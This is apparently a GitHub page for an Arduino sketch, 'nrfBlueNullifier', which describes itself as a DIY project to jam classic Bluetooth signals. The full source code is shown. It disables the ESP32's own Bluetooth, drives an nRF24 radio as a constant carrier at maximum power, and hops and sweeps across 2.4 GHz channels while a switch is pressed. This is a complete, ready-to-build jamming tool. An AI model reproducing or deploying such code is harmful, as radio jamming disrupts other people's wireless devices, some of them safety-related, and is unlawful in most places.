-
Notifications
You must be signed in to change notification settings - Fork 0
/
nrfBlueNullifier.ino
55 lines (49 loc) · 1.47 KB
/
nrfBlueNullifier.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/*
* nrfBlueNullifier
* DIY project to jam classic bluetooth signals.
* Author - WireBits
*/
#include <RF24.h>
#include <esp_bt.h>
#include <esp_bt_main.h>
const int switchPin = 12;
SPIClass *sp = nullptr;
RF24 radio(22, 21, 19909090);
byte i = 45, ptr_hop = 0, flag = 0;
byte hopping_channel[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80, 82, 84, 86};
void nrfSPIInit() {
sp = new SPIClass(VSPI);
sp->begin();
if (radio.begin(sp)) {
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPayloadSize(31);
radio.setAddressWidth(4);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.startConstCarrier(RF24_PA_MAX, i);
}
}
void adjustAndSweepChannels() {
flag = (i > 79) ? 1 : (i < 2 ? 0 : flag);
i += flag ? -2 : 2;
for (int j = 0; j <= 79; j++) radio.setChannel(j);
}
void setup() {
pinMode(switchPin, INPUT_PULLUP);
esp_bt_controller_deinit();
if (esp_bluedroid_get_status() == ESP_BLUEDROID_STATUS_ENABLED) {
esp_bluedroid_disable();
esp_bluedroid_deinit();
}
nrfSPIInit();
}
void loop() {
if (!digitalRead(switchPin)) {
adjustAndSweepChannels();
ptr_hop = (ptr_hop + 1) % sizeof(hopping_channel);
radio.setChannel(hopping_channel[ptr_hop]);
}
}